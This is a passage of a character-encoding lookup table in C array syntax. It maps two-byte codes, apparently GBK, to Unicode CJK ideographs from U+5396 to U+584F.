{0x8585,0x5396},{0x8685,0x5397},{0xe5c0,0x5398},{0x8785,0x5399},{0xf1ba,0x539a},
{0x8885,0x539b},{0x8985,0x539c},{0xc8d8,0x539d},{0x8a85,0x539e},{0xadd4,0x539f},
{0x8b85,0x53a0},{0x8c85,0x53a1},{0xe1cf,0x53a2},{0xc9d8,0x53a3},{0x8d85,0x53a4},
{0xcad8,0x53a5},{0xc3cf,0x53a6},{0x8e85,0x53a7},{0xf8b3,0x53a8},{0xc7be,0x53a9},
{0x8f85,0x53aa},{0x9085,0x53ab},{0x9185,0x53ac},{0x9285,0x53ad},{0xcbd8,0x53ae},
{0x9385,0x53af},{0x9485,0x53b0},{0x9585,0x53b1},{0x9685,0x53b2},{0x9785,0x53b3},
{0x9885,0x53b4},{0x9985,0x53b5},{0xccdb,0x53b6},{0x9a85,0x53b7},{0x9b85,0x53b8},
{0x9c85,0x53b9},{0x9d85,0x53ba},{0xa5c8,0x53bb},{0x9e85,0x53bc},{0x9f85,0x53bd},
{0xa085,0x53be},{0xd8cf,0x53bf},{0xa185,0x53c0},{0xfec8,0x53c1},{0xceb2,0x53c2},
{0xa285,0x53c3},{0xa385,0x53c4},{0xa485,0x53c5},{0xa585,0x53c6},{0xa685,0x53c7},
{0xd6d3,0x53c8},{0xe6b2,0x53c9},{0xb0bc,0x53ca},{0xd1d3,0x53cb},{0xabcb,0x53cc},
{0xb4b7,0x53cd},{0xa785,0x53ce},{0xa885,0x53cf},{0xa985,0x53d0},{0xa2b7,0x53d1},
{0xaa85,0x53d2},{0xab85,0x53d3},{0xe5ca,0x53d4},{0xac85,0x53d5},{0xa1c8,0x53d6},
{0xdcca,0x53d7},{0xe4b1,0x53d8},{0xf0d0,0x53d9},{0xad85,0x53da},{0xd1c5,0x53db},
{0xae85,0x53dc},{0xaf85,0x53dd},{0xb085,0x53de},{0xc5db,0x53df},{0xfeb5,0x53e0},
{0xb185,0x53e1},{0xb285,0x53e2},{0xdabf,0x53e3},{0xc5b9,0x53e4},{0xe4be,0x53e5},
{0xedc1,0x53e6},{0xb385,0x53e7},{0xb6df,0x53e8},{0xb5df,0x53e9},{0xbbd6,0x53ea},
{0xd0bd,0x53eb},{0xd9d5,0x53ec},{0xc8b0,0x53ed},{0xa3b6,0x53ee},{0xc9bf,0x53ef},
{0xa8cc,0x53f0},{0xb3df,0x53f1},{0xb7ca,0x53f2},{0xd2d3,0x53f3},{0xb485,0x53f4},
{0xcfd8,0x53f5},{0xb6d2,0x53f6},{0xc5ba,0x53f7},{0xbecb,0x53f8},{0xbecc,0x53f9},
{0xb585,0x53fa},{0xb7df,0x53fb},{0xf0b5,0x53fc},{0xb4df,0x53fd},{0xb685,0x53fe},
{0xb885,0x5400},{0xf5d3,0x5401},{0xb985,0x5402},{0xd4b3,0x5403},{0xf7b8,0x5404},
{0xba85,0x5405},{0xbadf,0x5406},{0xbb85,0x5407},{0xcfba,0x5408},{0xaabc,0x5409},
{0xf5b5,0x540a},{0xbc85,0x540b},{0xaccd,0x540c},{0xfbc3,0x540d},{0xf3ba,0x540e},
{0xf4c0,0x540f},{0xc2cd,0x5410},{0xf2cf,0x5411},{0xb8df,0x5412},{0xc5cf,0x5413},
{0xbd85,0x5414},{0xc0c2,0x5415},{0xb9df,0x5416},{0xf0c2,0x5417},{0xbe85,0x5418},
{0xbf85,0x5419},{0xc085,0x541a},{0xfdbe,0x541b},{0xc185,0x541c},{0xdfc1,0x541d},
{0xcccd,0x541e},{0xf7d2,0x541f},{0xcdb7,0x5420},{0xc1df,0x5421},{0xc285,0x5422},
{0xc4df,0x5423},{0xc385,0x5424},{0xc485,0x5425},{0xf1b7,0x5426},{0xc9b0,0x5427},
{0xd6b6,0x5428},{0xd4b7,0x5429},{0xc585,0x542a},{0xacba,0x542b},{0xfdcc,0x542c},
{0xd4bf,0x542d},{0xb1cb,0x542e},{0xf4c6,0x542f},{0xc685,0x5430},{0xa8d6,0x5431},
{0xc5df,0x5432},{0xc785,0x5433},{0xe2ce,0x5434},{0xb3b3,0x5435},{0xc885,0x5436},
{0xc985,0x5437},{0xfcce,0x5438},{0xb5b4,0x5439},{0xca85,0x543a},{0xc7ce,0x543b},
{0xf0ba,0x543c},{0xcb85,0x543d},{0xe1ce,0x543e},{0xcc85,0x543f},{0xbdd1,0x5440},
{0xcd85,0x5441},{0xce85,0x5442},{0xc0df,0x5443},{0xcf85,0x5444},{0xd085,0x5445},
{0xf4b4,0x5446},{0xd185,0x5447},{0xcab3,0x5448},{0xd285,0x5449},{0xe6b8,0x544a},
{0xbbdf,0x544b},{0xd385,0x544c},{0xd485,0x544d},{0xd585,0x544e},{0xd685,0x544f},
{0xc5c4,0x5450},{0xd785,0x5451},{0xbcdf,0x5452},{0xbddf,0x5453},{0xbedf,0x5454},
{0xbbc5,0x5455},{0xbfdf,0x5456},{0xc2df,0x5457},{0xb1d4,0x5458},{0xc3df,0x5459},
{0xd885,0x545a},{0xbac7,0x545b},{0xd8ce,0x545c},{0xd985,0x545d},{0xda85,0x545e},
{0xdb85,0x545f},{0xdc85,0x5460},{0xdd85,0x5461},{0xd8c4,0x5462},{0xde85,0x5463},
{0xcadf,0x5464},{0xdf85,0x5465},{0xcfdf,0x5466},{0xe085,0x5467},{0xdcd6,0x5468},
{0xe185,0x5469},{0xe285,0x546a},{0xe385,0x546b},{0xe485,0x546c},{0xe585,0x546d},
{0xe685,0x546e},{0xe785,0x546f},{0xe885,0x5470},{0xc9df,0x5471},{0xdadf,0x5472},
{0xb6ce,0x5473},{0xe985,0x5474},{0xc7ba,0x5475},{0xcedf,0x5476},{0xc8df,0x5477},
{0xdec5,0x5478},{0xea85,0x5479},{0xeb85,0x547a},{0xebc9,0x547b},{0xf4ba,0x547c},
{0xfcc3,0x547d},{0xec85,0x547e},{0xed85,0x547f},{0xd7be,0x5480},{0xee85,0x5481},
{0xc6df,0x5482},{0xef85,0x5483},{0xcddf,0x5484},{0xf085,0x5485},{0xd8c5,0x5486},
{0xf185,0x5487},{0xf285,0x5488},{0xf385,0x5489},{0xf485,0x548a},{0xa6d5,0x548b},
{0xcdba,0x548c},{0xf585,0x548d},{0xccbe,0x548e},{0xbdd3,0x548f},{0xc0b8,0x5490},
{0xf685,0x5491},{0xe4d6,0x5492},{0xf785,0x5493},{0xc7df,0x5494},{0xbeb9,0x5495},
{0xa7bf,0x5496},{0xf885,0x5497},{0xf985,0x5498},{0xfcc1,0x5499},{0xcbdf,0x549a},
{0xccdf,0x549b},{0xfa85,0x549c},{0xd0df,0x549d},{0xfb85,0x549e},{0xfc85,0x549f},
{0xfd85,0x54a0},{0xfe85,0x54a1},{0x4086,0x54a2},{0xdbdf,0x54a3},{0xe5df,0x54a4},
{0x4186,0x54a5},{0xd7df,0x54a6},{0xd6df,0x54a7},{0xc9d7,0x54a8},{0xe3df,0x54a9},
{0xe4df,0x54aa},{0xebe5,0x54ab},{0xa7d2,0x54ac},{0xd2df,0x54ad},{0x4286,0x54ae},
{0xa9bf,0x54af},{0x4386,0x54b0},{0xdbd4,0x54b1},{0x4486,0x54b2},{0xc8bf,0x54b3},
{0xd4df,0x54b4},{0x4586,0x54b5},{0x4686,0x54b6},{0x4786,0x54b7},{0xcccf,0x54b8},
{0x4886,0x54b9},{0x4986,0x54ba},{0xdddf,0x54bb},{0x4a86,0x54bc},{0xcad1,0x54bd},
{0x4b86,0x54be},{0xdedf,0x54bf},{0xa7b0,0x54c0},{0xb7c6,0x54c1},{0xd3df,0x54c2},
{0x4c86,0x54c3},{0xe5ba,0x54c4},{0x4d86,0x54c5},{0xdfb6,0x54c6},{0xdbcd,0x54c7},
{0xfeb9,0x54c8},{0xd5d4,0x54c9},{0x4e86,0x54ca},{0x4f86,0x54cb},{0xdfdf,0x54cc},
{0xeccf,0x54cd},{0xa5b0,0x54ce},{0xe7df,0x54cf},{0xd1df,0x54d0},{0xc6d1,0x54d1},
{0xd5df,0x54d2},{0xd8df,0x54d3},{0xd9df,0x54d4},{0xdcdf,0x54d5},{0x5086,0x54d6},
{0xa9bb,0x54d7},{0x5186,0x54d8},{0xe0df,0x54d9},{0xe1df,0x54da},{0x5286,0x54db},
{0xe2df,0x54dc},{0xe6df,0x54dd},{0xe8df,0x54de},{0xb4d3,0x54df},{0x5386,0x54e0},
{0x5486,0x54e1},{0x5586,0x54e2},{0x5686,0x54e3},{0x5786,0x54e4},{0xe7b8,0x54e5},
{0xb6c5,0x54e6},{0xeadf,0x54e7},{0xdac9,0x54e8},{0xa8c1,0x54e9},{0xc4c4,0x54ea},
{0x5886,0x54eb},{0x5986,0x54ec},{0xdebf,0x54ed},{0xf8cf,0x54ee},{0x5a86,0x54ef},
{0x5b86,0x54f0},{0x5c86,0x54f1},{0xdcd5,0x54f2},{0xeedf,0x54f3},{0x5d86,0x54f4},
{0x5e86,0x54f5},{0x5f86,0x54f6},{0x6086,0x54f7},{0x6186,0x54f8},{0x6286,0x54f9},
{0xb8b2,0x54fa},{0x6386,0x54fb},{0xdfba,0x54fc},{0xecdf,0x54fd},{0x6486,0x54fe},
{0x6586,0x5500},{0xe4d1,0x5501},{0x6686,0x5502},{0x6786,0x5503},{0x6886,0x5504},
{0x6986,0x5505},{0xf4cb,0x5506},{0xbdb4,0x5507},{0x6a86,0x5508},{0xa6b0,0x5509},
{0x6b86,0x550a},{0x6c86,0x550b},{0x6d86,0x550c},{0x6e86,0x550d},{0x6f86,0x550e},
{0xf1df,0x550f},{0xc6cc,0x5510},{0xf2df,0x5511},{0x7086,0x5512},{0x7186,0x5513},
{0xeddf,0x5514},{0x7286,0x5515},{0x7386,0x5516},{0x7486,0x5517},{0x7586,0x5518},
{0x7686,0x5519},{0x7786,0x551a},{0xe9df,0x551b},{0x7886,0x551c},{0x7986,0x551d},
{0x7a86,0x551e},{0x7b86,0x551f},{0xebdf,0x5520},{0x7c86,0x5521},{0xefdf,0x5522},
{0xf0df,0x5523},{0xbdbb,0x5524},{0x7d86,0x5525},{0x7e86,0x5526},{0xf3df,0x5527},
{0x8086,0x5528},{0x8186,0x5529},{0xf4df,0x552a},{0x8286,0x552b},{0xa3bb,0x552c},
{0x8386,0x552d},{0xdbca,0x552e},{0xa8ce,0x552f},{0xa7e0,0x5530},{0xaab3,0x5531},
{0x8486,0x5532},{0xa6e0,0x5533},{0x8586,0x5534},{0x8686,0x5535},{0x8786,0x5536},
{0xa1e0,0x5537},{0x8886,0x5538},{0x8986,0x5539},{0x8a86,0x553a},{0x8b86,0x553b},
{0xfedf,0x553c},{0x8c86,0x553d},{0xd9cd,0x553e},{0xfcdf,0x553f},{0x8d86,0x5540},
{0xfadf,0x5541},{0x8e86,0x5542},{0xd0bf,0x5543},{0xc4d7,0x5544},{0x8f86,0x5545},
{0xccc9,0x5546},{0x9086,0x5547},{0x9186,0x5548},{0xf8df,0x5549},{0xa1b0,0x554a},
{0x9286,0x554b},{0x9386,0x554c},{0x9486,0x554d},{0x9586,0x554e},{0x9686,0x554f},
{0xfddf,0x5550},{0x9786,0x5551},{0x9886,0x5552},{0x9986,0x5553},{0x9a86,0x5554},
{0xfbdf,0x5555},{0xa2e0,0x5556},{0x9b86,0x5557},{0x9c86,0x5558},{0x9d86,0x5559},
{0x9e86,0x555a},{0x9f86,0x555b},{0xa8e0,0x555c},{0xa086,0x555d},{0xa186,0x555e},
{0xa286,0x555f},{0xa386,0x5560},{0xc8b7,0x5561},{0xa486,0x5562},{0xa586,0x5563},
{0xa1c6,0x5564},{0xb6c9,0x5565},{0xb2c0,0x5566},{0xf5df,0x5567},{0xa686,0x5568},
{0xa786,0x5569},{0xbec5,0x556a},{0xa886,0x556b},{0xc4d8,0x556c},{0xf9df,0x556d},
{0xf6c4,0x556e},{0xa986,0x556f},{0xaa86,0x5570},{0xab86,0x5571},{0xac86,0x5572},
{0xad86,0x5573},{0xae86,0x5574},{0xa3e0,0x5575},{0xa4e0,0x5576},{0xa5e0,0x5577},
{0xa5d0,0x5578},{0xaf86,0x5579},{0xb086,0x557a},{0xb4e0,0x557b},{0xe4cc,0x557c},
{0xb186,0x557d},{0xb1e0,0x557e},{0xb286,0x557f},{0xa6bf,0x5580},{0xafe0,0x5581},
{0xb9ce,0x5582},{0xabe0,0x5583},{0xc6c9,0x5584},{0xb386,0x5585},{0xb486,0x5586},
{0xaec0,0x5587},{0xaee0,0x5588},{0xedba,0x5589},{0xb0ba,0x558a},{0xa9e0,0x558b},
{0xb586,0x558c},{0xb686,0x558d},{0xb786,0x558e},{0xf6df,0x558f},{0xb886,0x5590},
{0xb3e0,0x5591},{0xb986,0x5592},{0xba86,0x5593},{0xb8e0,0x5594},{0xbb86,0x5595},
{0xbc86,0x5596},{0xbd86,0x5597},{0xadb4,0x5598},{0xb9e0,0x5599},{0xbe86,0x559a},
{0xbf86,0x559b},{0xb2cf,0x559c},{0xc8ba,0x559d},{0xc086,0x559e},{0xb0e0,0x559f},
{0xc186,0x55a0},{0xc286,0x55a1},{0xc386,0x55a2},{0xc486,0x55a3},{0xc586,0x55a4},
{0xc686,0x55a5},{0xc786,0x55a6},{0xfad0,0x55a7},{0xc886,0x55a8},{0xc986,0x55a9},
{0xca86,0x55aa},{0xcb86,0x55ab},{0xcc86,0x55ac},{0xcd86,0x55ad},{0xce86,0x55ae},
{0xcf86,0x55af},{0xd086,0x55b0},{0xace0,0x55b1},{0xd186,0x55b2},{0xfbd4,0x55b3},
{0xd286,0x55b4},{0xf7df,0x55b5},{0xd386,0x55b6},{0xe7c5,0x55b7},{0xd486,0x55b8},
{0xade0,0x55b9},{0xd586,0x55ba},{0xf7d3,0x55bb},{0xd686,0x55bc},{0xb6e0,0x55bd},
{0xb7e0,0x55be},{0xd786,0x55bf},{0xd886,0x55c0},{0xd986,0x55c1},{0xda86,0x55c2},
{0xdb86,0x55c3},{0xc4e0,0x55c4},{0xe1d0,0x55c5},{0xdc86,0x55c6},{0xdd86,0x55c7},
{0xde86,0x55c8},{0xbce0,0x55c9},{0xdf86,0x55ca},{0xe086,0x55cb},{0xc9e0,0x55cc},
{0xcae0,0x55cd},{0xe186,0x55ce},{0xe286,0x55cf},{0xe386,0x55d0},{0xbee0,0x55d1},
{0xaae0,0x55d2},{0xa4c9,0x55d3},{0xc1e0,0x55d4},{0xe486,0x55d5},{0xb2e0,0x55d6},
{0xe586,0x55d7},{0xe686,0x55d8},{0xe786,0x55d9},{0xe886,0x55da},{0xe986,0x55db},
{0xc8ca,0x55dc},{0xc3e0,0x55dd},{0xea86,0x55de},{0xb5e0,0x55df},{0xeb86,0x55e0},
{0xcbce,0x55e1},{0xec86,0x55e2},{0xc3cb,0x55e3},{0xcde0,0x55e4},{0xc6e0,0x55e5},
{0xc2e0,0x55e6},{0xed86,0x55e7},{0xcbe0,0x55e8},{0xee86,0x55e9},{0xbae0,0x55ea},
{0xbfe0,0x55eb},{0xc0e0,0x55ec},{0xef86,0x55ed},{0xf086,0x55ee},{0xc5e0,0x55ef},
{0xf186,0x55f0},{0xf286,0x55f1},{0xc7e0,0x55f2},{0xc8e0,0x55f3},{0xf386,0x55f4},
{0xcce0,0x55f5},{0xf486,0x55f6},{0xbbe0,0x55f7},{0xf586,0x55f8},{0xf686,0x55f9},
{0xf786,0x55fa},{0xf886,0x55fb},{0xf986,0x55fc},{0xd4cb,0x55fd},{0xd5e0,0x55fe},
{0xd6e0,0x5600},{0xd2e0,0x5601},{0xfb86,0x5602},{0xfc86,0x5603},{0xfd86,0x5604},
{0xfe86,0x5605},{0x4087,0x5606},{0x4187,0x5607},{0xd0e0,0x5608},{0xcebc,0x5609},
{0x4287,0x560a},{0x4387,0x560b},{0xd1e0,0x560c},{0x4487,0x560d},{0xc2b8,0x560e},
{0xc5d8,0x560f},{0x4587,0x5610},{0x4687,0x5611},{0x4787,0x5612},{0x4887,0x5613},
{0x4987,0x5614},{0x4a87,0x5615},{0x4b87,0x5616},{0x4c87,0x5617},{0xead0,0x5618},
{0x4d87,0x5619},{0x4e87,0x561a},{0xefc2,0x561b},{0x4f87,0x561c},{0x5087,0x561d},
{0xcfe0,0x561e},{0xbde0,0x561f},{0x5187,0x5620},{0x5287,0x5621},{0x5387,0x5622},
{0xd4e0,0x5623},{0xd3e0,0x5624},{0x5487,0x5625},{0x5587,0x5626},{0xd7e0,0x5627},
{0x5687,0x5628},{0x5787,0x5629},{0x5887,0x562a},{0x5987,0x562b},{0xdce0,0x562c},
{0xd8e0,0x562d},{0x5a87,0x562e},{0x5b87,0x562f},{0x5c87,0x5630},{0xf6d6,0x5631},
{0xb0b3,0x5632},{0x5d87,0x5633},{0xecd7,0x5634},{0x5e87,0x5635},{0xbbcb,0x5636},
{0x5f87,0x5637},{0x6087,0x5638},{0xdae0,0x5639},{0x6187,0x563a},{0xfbce,0x563b},
{0x6287,0x563c},{0x6387,0x563d},{0x6487,0x563e},{0xd9ba,0x563f},{0x6587,0x5640},
{0x6687,0x5641},{0x6787,0x5642},{0x6887,0x5643},{0x6987,0x5644},{0x6a87,0x5645},
{0x6b87,0x5646},{0x6c87,0x5647},{0x6d87,0x5648},{0x6e87,0x5649},{0x6f87,0x564a},
{0x7087,0x564b},{0xe1e0,0x564c},{0xdde0,0x564d},{0xadd2,0x564e},{0x7187,0x564f},
{0x7287,0x5650},{0x7387,0x5651},{0x7487,0x5652},{0x7587,0x5653},{0xe2e0,0x5654},
{0x7687,0x5655},{0x7787,0x5656},{0xdbe0,0x5657},{0xd9e0,0x5658},{0xdfe0,0x5659},
{0x7887,0x565a},{0x7987,0x565b},{0xe0e0,0x565c},{0x7a87,0x565d},{0x7b87,0x565e},
{0x7c87,0x565f},{0x7d87,0x5660},{0x7e87,0x5661},{0xdee0,0x5662},{0x8087,0x5663},
{0xe4e0,0x5664},{0x8187,0x5665},{0x8287,0x5666},{0x8387,0x5667},{0xf7c6,0x5668},
{0xacd8,0x5669},{0xebd4,0x566a},{0xe6e0,0x566b},{0xc9ca,0x566c},{0x8487,0x566d},
{0x8587,0x566e},{0x8687,0x566f},{0x8787,0x5670},{0xe5e0,0x5671},{0x8887,0x5672},
{0x8987,0x5673},{0x8a87,0x5674},{0x8b87,0x5675},{0xc1b8,0x5676},{0x8c87,0x5677},
{0x8d87,0x5678},{0x8e87,0x5679},{0x8f87,0x567a},{0xe7e0,0x567b},{0xe8e0,0x567c},
{0x9087,0x567d},{0x9187,0x567e},{0x9287,0x567f},{0x9387,0x5680},{0x9487,0x5681},
{0x9587,0x5682},{0x9687,0x5683},{0x9787,0x5684},{0xe9e0,0x5685},{0xe3e0,0x5686},
{0x9887,0x5687},{0x9987,0x5688},{0x9a87,0x5689},{0x9b87,0x568a},{0x9c87,0x568b},
{0x9d87,0x568c},{0x9e87,0x568d},{0xbfba,0x568e},{0xe7cc,0x568f},{0x9f87,0x5690},
{0xa087,0x5691},{0xa187,0x5692},{0xeae0,0x5693},{0xa287,0x5694},{0xa387,0x5695},
{0xa487,0x5696},{0xa587,0x5697},{0xa687,0x5698},{0xa787,0x5699},{0xa887,0x569a},
{0xa987,0x569b},{0xaa87,0x569c},{0xab87,0x569d},{0xac87,0x569e},{0xad87,0x569f},
{0xae87,0x56a0},{0xaf87,0x56a1},{0xb087,0x56a2},{0xf9cf,0x56a3},{0xb187,0x56a4},
{0xb287,0x56a5},{0xb387,0x56a6},{0xb487,0x56a7},{0xb587,0x56a8},{0xb687,0x56a9},
{0xb787,0x56aa},{0xb887,0x56ab},{0xb987,0x56ac},{0xba87,0x56ad},{0xbb87,0x56ae},
{0xebe0,0x56af},{0xbc87,0x56b0},{0xbd87,0x56b1},{0xbe87,0x56b2},{0xbf87,0x56b3},
{0xc087,0x56b4},{0xc187,0x56b5},{0xc287,0x56b6},{0xc2c8,0x56b7},{0xc387,0x56b8},
{0xc487,0x56b9},{0xc587,0x56ba},{0xc687,0x56bb},{0xc0bd,0x56bc},{0xc787,0x56bd},
{0xc887,0x56be},{0xc987,0x56bf},{0xca87,0x56c0},{0xcb87,0x56c1},{0xcc87,0x56c2},
{0xcd87,0x56c3},{0xce87,0x56c4},{0xcf87,0x56c5},{0xd087,0x56c6},{0xd187,0x56c7},
{0xd287,0x56c8},{0xd387,0x56c9},{0xd2c4,0x56ca},{0xd487,0x56cb},{0xd587,0x56cc},
{0xd687,0x56cd},{0xd787,0x56ce},{0xd887,0x56cf},{0xd987,0x56d0},{0xda87,0x56d1},
{0xdb87,0x56d2},{0xdc87,0x56d3},{0xece0,0x56d4},{0xdd87,0x56d5},{0xde87,0x56d6},
{0xede0,0x56d7},{0xdf87,0x56d8},{0xe087,0x56d9},{0xf4c7,0x56da},{0xc4cb,0x56db},
{0xe187,0x56dc},{0xeee0,0x56dd},{0xd8bb,0x56de},{0xb6d8,0x56df},{0xf2d2,0x56e0},
{0xefe0,0x56e1},{0xc5cd,0x56e2},{0xe287,0x56e3},{0xdab6,0x56e4},{0xe387,0x56e5},
{0xe487,0x56e6},{0xe587,0x56e7},{0xe687,0x56e8},{0xe787,0x56e9},{0xe887,0x56ea},
{0xf1e0,0x56eb},{0xe987,0x56ec},{0xb0d4,0x56ed},{0xea87,0x56ee},{0xeb87,0x56ef},
{0xa7c0,0x56f0},{0xd1b4,0x56f1},{0xec87,0x56f2},{0xed87,0x56f3},{0xa7ce,0x56f4},
{0xf0e0,0x56f5},{0xee87,0x56f6},{0xef87,0x56f7},{0xf087,0x56f8},{0xf2e0,0x56f9},
{0xccb9,0x56fa},{0xf187,0x56fb},{0xf287,0x56fc},{0xfab9,0x56fd},{0xbccd,0x56fe},
{0xf387,0x5700},{0xf487,0x5701},{0xf587,0x5702},{0xd4c6,0x5703},{0xf4e0,0x5704},
{0xf687,0x5705},{0xb2d4,0x5706},{0xf787,0x5707},{0xa6c8,0x5708},{0xf6e0,0x5709},
{0xf5e0,0x570a},{0xf887,0x570b},{0xf987,0x570c},{0xfa87,0x570d},{0xfb87,0x570e},
{0xfc87,0x570f},{0xfd87,0x5710},{0xfe87,0x5711},{0x4088,0x5712},{0x4188,0x5713},
{0x4288,0x5714},{0x4388,0x5715},{0x4488,0x5716},{0x4588,0x5717},{0x4688,0x5718},
{0x4788,0x5719},{0x4888,0x571a},{0x4988,0x571b},{0xf7e0,0x571c},{0x4a88,0x571d},
{0x4b88,0x571e},{0xc1cd,0x571f},{0x4c88,0x5720},{0x4d88,0x5721},{0x4e88,0x5722},
{0xa5ca,0x5723},{0x4f88,0x5724},{0x5088,0x5725},{0x5188,0x5726},{0x5288,0x5727},
{0xdad4,0x5728},{0xd7db,0x5729},{0xd9db,0x572a},{0x5388,0x572b},{0xd8db,0x572c},
{0xe7b9,0x572d},{0xdcdb,0x572e},{0xdddb,0x572f},{0xd8b5,0x5730},{0x5488,0x5731},
{0x5588,0x5732},{0xdadb,0x5733},{0x5688,0x5734},{0x5788,0x5735},{0x5888,0x5736},
{0x5988,0x5737},{0x5a88,0x5738},{0xdbdb,0x5739},{0xa1b3,0x573a},{0xdfdb,0x573b},
{0x5b88,0x573c},{0x5c88,0x573d},{0xf8bb,0x573e},{0x5d88,0x573f},{0xb7d6,0x5740},
{0x5e88,0x5741},{0xe0db,0x5742},{0x5f88,0x5743},{0x6088,0x5744},{0x6188,0x5745},
{0x6288,0x5746},{0xf9be,0x5747},{0x6388,0x5748},{0x6488,0x5749},{0xbbb7,0x574a},
{0x6588,0x574b},{0xd0db,0x574c},{0xaecc,0x574d},{0xb2bf,0x574e},{0xb5bb,0x574f},
{0xf8d7,0x5750},{0xd3bf,0x5751},{0x6688,0x5752},{0x6788,0x5753},{0x6888,0x5754},
{0x6988,0x5755},{0x6a88,0x5756},{0xe9bf,0x5757},{0x6b88,0x5758},{0x6c88,0x5759},
{0xe1bc,0x575a},{0xb3cc,0x575b},{0xdedb,0x575c},{0xd3b0,0x575d},{0xebce,0x575e},
{0xd8b7,0x575f},{0xb9d7,0x5760},{0xc2c6,0x5761},{0x6d88,0x5762},{0x6e88,0x5763},
{0xa4c0,0x5764},{0x6f88,0x5765},{0xb9cc,0x5766},{0x7088,0x5767},{0xe7db,0x5768},
{0xe1db,0x5769},{0xbac6,0x576a},{0xe3db,0x576b},{0x7188,0x576c},{0xe8db,0x576d},
{0x7288,0x576e},{0xf7c5,0x576f},{0x7388,0x5770},{0x7488,0x5771},{0x7588,0x5772},
{0xeadb,0x5773},{0x7688,0x5774},{0x7788,0x5775},{0xe9db,0x5776},{0xc0bf,0x5777},
{0x7888,0x5778},{0x7988,0x5779},{0x7a88,0x577a},{0xe6db,0x577b},{0xe5db,0x577c},
{0x7b88,0x577d},{0x7c88,0x577e},{0x7d88,0x577f},{0x7e88,0x5780},{0x8088,0x5781},
{0xb9b4,0x5782},{0xacc0,0x5783},{0xa2c2,0x5784},{0xe2db,0x5785},{0xe4db,0x5786},
{0x8188,0x5787},{0x8288,0x5788},{0x8388,0x5789},{0x8488,0x578a},{0xcdd0,0x578b},
{0xeddb,0x578c},{0x8588,0x578d},{0x8688,0x578e},{0x8788,0x578f},{0x8888,0x5790},
{0x8988,0x5791},{0xddc0,0x5792},{0xf2db,0x5793},{0x8a88,0x5794},{0x8b88,0x5795},
{0x8c88,0x5796},{0x8d88,0x5797},{0x8e88,0x5798},{0x8f88,0x5799},{0x9088,0x579a},
{0xe2b6,0x579b},{0x9188,0x579c},{0x9288,0x579d},{0x9388,0x579e},{0x9488,0x579f},
{0xf3db,0x57a0},{0xd2db,0x57a1},{0xb8b9,0x57a2},{0xabd4,0x57a3},{0xecdb,0x57a4},
{0x9588,0x57a5},{0xd1bf,0x57a6},{0xf0db,0x57a7},{0x9688,0x57a8},{0xd1db,0x57a9},
{0x9788,0x57aa},{0xe6b5,0x57ab},{0x9888,0x57ac},{0xebdb,0x57ad},{0xe5bf,0x57ae},
{0x9988,0x57af},{0x9a88,0x57b0},{0x9b88,0x57b1},{0xeedb,0x57b2},{0x9c88,0x57b3},
{0xf1db,0x57b4},{0x9d88,0x57b5},{0x9e88,0x57b6},{0x9f88,0x57b7},{0xf9db,0x57b8},
{0xa088,0x57b9},{0xa188,0x57ba},{0xa288,0x57bb},{0xa388,0x57bc},{0xa488,0x57bd},
{0xa588,0x57be},{0xa688,0x57bf},{0xa788,0x57c0},{0xa888,0x57c1},{0xa1b9,0x57c2},
{0xa3b0,0x57c3},{0xa988,0x57c4},{0xaa88,0x57c5},{0xab88,0x57c6},{0xac88,0x57c7},
{0xad88,0x57c8},{0xae88,0x57c9},{0xaf88,0x57ca},{0xf1c2,0x57cb},{0xb088,0x57cc},
{0xb188,0x57cd},{0xc7b3,0x57ce},{0xefdb,0x57cf},{0xb288,0x57d0},{0xb388,0x57d1},
{0xf8db,0x57d2},{0xb488,0x57d3},{0xd2c6,0x57d4},{0xf4db,0x57d5},{0xb588,0x57d6},
{0xb688,0x57d7},{0xf5db,0x57d8},{0xf7db,0x57d9},{0xf6db,0x57da},{0xb788,0x57db},
{0xb888,0x57dc},{0xfedb,0x57dd},{0xb988,0x57de},{0xf2d3,0x57df},{0xbab2,0x57e0},
{0xba88,0x57e1},{0xbb88,0x57e2},{0xbc88,0x57e3},{0xfddb,0x57e4},{0xbd88,0x57e5},
{0xbe88,0x57e6},{0xbf88,0x57e7},{0xc088,0x57e8},{0xc188,0x57e9},{0xc288,0x57ea},
{0xc388,0x57eb},{0xc488,0x57ec},{0xa4dc,0x57ed},{0xc588,0x57ee},{0xfbdb,0x57ef},
{0xc688,0x57f0},{0xc788,0x57f1},{0xc888,0x57f2},{0xc988,0x57f3},{0xfadb,0x57f4},
{0xca88,0x57f5},{0xcb88,0x57f6},{0xcc88,0x57f7},{0xfcdb,0x57f8},{0xe0c5,0x57f9},
{0xf9bb,0x57fa},{0xcd88,0x57fb},{0xce88,0x57fc},{0xa3dc,0x57fd},{0xcf88,0x57fe},
{0xa5dc,0x5800},{0xd188,0x5801},{0xc3cc,0x5802},{0xd288,0x5803},{0xd388,0x5804},
{0xd488,0x5805},{0xd1b6,0x5806},{0xc0dd,0x5807},{0xd588,0x5808},{0xd688,0x5809},
{0xd788,0x580a},{0xa1dc,0x580b},{0xd888,0x580c},{0xa2dc,0x580d},{0xd988,0x580e},
{0xda88,0x580f},{0xdb88,0x5810},{0xb5c7,0x5811},{0xdc88,0x5812},{0xdd88,0x5813},
{0xde88,0x5814},{0xe9b6,0x5815},{0xdf88,0x5816},{0xe088,0x5817},{0xe188,0x5818},
{0xa7dc,0x5819},{0xe288,0x581a},{0xe388,0x581b},{0xe488,0x581c},{0xe588,0x581d},
{0xa6dc,0x581e},{0xe688,0x581f},{0xa9dc,0x5820},{0xa4b1,0x5821},{0xe788,0x5822},
{0xe888,0x5823},{0xccb5,0x5824},{0xe988,0x5825},{0xea88,0x5826},{0xeb88,0x5827},
{0xec88,0x5828},{0xed88,0x5829},{0xb0bf,0x582a},{0xee88,0x582b},{0xef88,0x582c},
{0xf088,0x582d},{0xf188,0x582e},{0xf288,0x582f},{0xdfd1,0x5830},{0xf388,0x5831},
{0xf488,0x5832},{0xf588,0x5833},{0xf688,0x5834},{0xc2b6,0x5835},{0xf788,0x5836},
{0xf888,0x5837},{0xf988,0x5838},{0xfa88,0x5839},{0xfb88,0x583a},{0xfc88,0x583b},
{0xfd88,0x583c},{0xfe88,0x583d},{0x4089,0x583e},{0x4189,0x583f},{0x4289,0x5840},
{0x4389,0x5841},{0x4489,0x5842},{0x4589,0x5843},{0xa8dc,0x5844},{0x4689,0x5845},
{0x4789,0x5846},{0x4889,0x5847},{0x4989,0x5848},{0x4a89,0x5849},{0x4b89,0x584a},
{0x4c89,0x584b},{0xfacb,0x584c},{0xf3eb,0x584d},{0x4d89,0x584e},{0x4e89,0x584f},
